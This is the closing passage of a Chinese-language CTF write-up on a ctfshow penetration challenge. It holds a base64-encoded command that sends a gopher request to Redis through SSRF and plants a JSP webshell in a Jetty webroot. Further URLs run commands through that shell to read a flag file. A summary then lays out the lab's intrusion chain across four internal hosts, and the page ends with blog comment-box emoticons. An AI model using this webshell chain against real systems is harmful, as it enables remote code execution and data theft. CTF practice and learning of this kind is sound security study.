http://172.2.239.5/1.php?1=system(base64_decode('Y3VybCAgLXYgICJnb3BoZXI6Ly8xNzIuMi4yMzkuNzo2MzgwL19hdXRoJTIwY3Rmc2hvd18yMDI1JTBBc2V0JTIwbWFycyUyMCUyMiUzQyUyNSUyMFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMobmV3JTIwU3RyaW5nJTVCJTVEJTdCJTVDJTIyc2glNUMlMjIlMkMlNUMlMjItYyU1QyUyMiUyQ3JlcXVlc3QuZ2V0UGFyYW1ldGVyKCU1QyUyMmNtZCU1QyUyMiklN0QpJTNCJTI1JTNFJTIyJTBBY29uZmlnJTIwc2V0JTIwZGlyJTIwJTJGb3B0JTJGamV0dHklMkZ3ZWJhcHBzJTJGUk9PVCUyRiUwQWNvbmZpZyUyMHNldCUyMGRiZmlsZW5hbWUlMjAyLmpzcCUwQXNhdmUlMEFxdWl0Ig=='));

image-20250121225107724

写马成功

将输出写入txt文件

http://172.2.239.7:8080/2.jsp?cmd=ls%20/>/opt/jetty/webapps/ROOT/success.txt

image-20250121225413348

image-20250121225510729

就在根目录下直接读取

http://172.2.239.7:8080/2.jsp?cmd=cat%20/dylan.txt>/opt/jetty/webapps/ROOT/success.txt
http://172.2.239.7:8080/success.txt

image-20250121225626977

ctfshow{7b11a7ae330883cb5bf667a9c1604635}

今日方知我是我

本关要求 提交/root/message.txt中提到的网址 格式 ctfshow{http://xxx.xxx}

提权没学,就不复现了。学了再来看看

总结

4台机子

.4是本地服务机也是ssrf的跳板机

.5是php环境服务器

.6是flask运行服务器

.7是java环境服务器

渗透路线:

先渗透进新竹县动物保护防疫所,利用wordpress的cve来获取数据库账号密码,也就是.4服务器的账号密码(普通用户)。然后通过jwt伪造以管理员(dylan)身份登录进去。拿下.4服务器。然后通过ssrf进行内网扫描发现.5服务器80端口开放,.6服务器8888端口开放。.7服务器8080端口开放。通过读取源码发现注入漏洞成功写马拿下.5服务器。然后就是利用.5服务器去访问其他服务器。通过日志漏洞拿下.6服务器。 然后就是通过cve拿下.7服务器

第一次复现渗透题。感觉自己太太太菜了。。。除了前面几题后面全看wp跟着写的

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇